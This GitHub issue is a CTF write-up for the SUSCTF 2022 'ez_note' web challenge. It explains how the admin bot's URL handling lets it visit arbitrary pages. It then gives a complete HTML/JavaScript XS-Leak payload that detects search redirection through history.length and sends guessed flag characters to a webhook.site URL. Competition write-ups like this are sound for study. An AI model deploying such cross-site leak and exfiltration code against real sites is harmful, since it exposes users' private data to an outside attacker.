Skip to content

SUSCTF 2022 - web/ez_note #51

@aszx87410

Description

@aszx87410

2

You can create and search your note, if there is a match you will be redirected to the note page by client redirection:setTimeout(() => location = '{note_page}', 1000)

Regarding the bot part, although it looks like you can only send it the link with prefix http://123.60.29.171:10001, but it's not the truth.

I think that's why they are giving the bot source code:

const visit = async (browser, path) =>{
    let site = process.env.NOTE_SITE ?? ""
    let url = new URL(path, site)
    console.log(`[+]${opt.name}: ${url}`)
    let renderOpt = {...opt}
    try {
        const loginpage = await browser.newPage()
        await loginpage.goto( site+"/signin")
        await loginpage.type("input[name=username]", "admin")
        await loginpage.type("input[name=password]", process.env.NOTE_ADMIN_PASS)
        await Promise.all([
            loginpage.click('button[name=submit]'),
            loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000})
        ])
        await loginpage.goto("about:blank")
        await loginpage.close()

        const page = await browser.newPage()
        await page.goto(url.href, {waitUntil: 'networkidle0', timeout: 2000})

        await delay(5000) /// waiting 5 second.

    }catch (e) {
        console.log(e)
        renderOpt.message = "error occurred"
        return renderOpt
    }
    renderOpt.message = "admin will view your report soon"
    return renderOpt
}

The important part is here: let url = new URL(path, site), according to the docs:

input: The absolute or relative input URL to parse. If input is relative, then base is required. If input is absolute, the base is ignored

So, by sending the absolute URL, you can let bot visit any links, no need to find an XSS on the note site(and I don't think there is).

If we can detect the redirection, we can leak the flag char by char. I used the history.length trick mentioned in XS-Leaks.

You just open a window and then redirect back to your origin, then you can access history.length to see if redirection occurs.

Here is the my payload:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="robots" content="noindex">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>

<body>
    <script>
      var flag = 'SUSCTF{'
      function send(msg) {
        fetch('https://webhook.site/bad84752-95a1-45c4-8395-e5577ea1112b?msg=' + encodeURIComponent(msg))
      }
      function trying(keyword) {
        return new Promise(resolve => {
          var win = window.open('http://123.60.29.171:10001/search?q=' + keyword)
          setTimeout(() => {
            win.location = 'http://e050-220-133-126-220.ngrok.io/non.html'
            setTimeout(() => {
              if (win.history.length === 3) {
                send('success:' + keyword)
              } else {
                //send('fail:' + keyword)
              }
              win.close();
            }, 1000)
          }, 1500)
        })
      }

      async function run() {
        send('start')
        // }abcdefghijklmnopqrstuvwxyz0123456789_
        // }abcdefghijklmnopqrs
        // 
        let chars = '_abcdefghijklmnopqrstuv'.split('')
        //let chars = '}wxyz0123456789_'.split('')
        for(let char of chars) {
          const temp = flag + char
          trying(temp)
        }
      }

      setTimeout(() => {
        run()
      }, 1000)
      
    </script>
</body>
</html>

5 seconds is not enough for all possibilities(38 chars), so I need to manually send it to bot twice to just leak one character.

I believe their is a faster way to do this, but I am too lazy to explore, so I just send it manually for few times.

The most time-consuming part is the reCAPTCHA, it took me about 80% of the time for leaking the whole flag(10% writing exploit, 10% submitting the form).

Fortunately, the flag is short.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions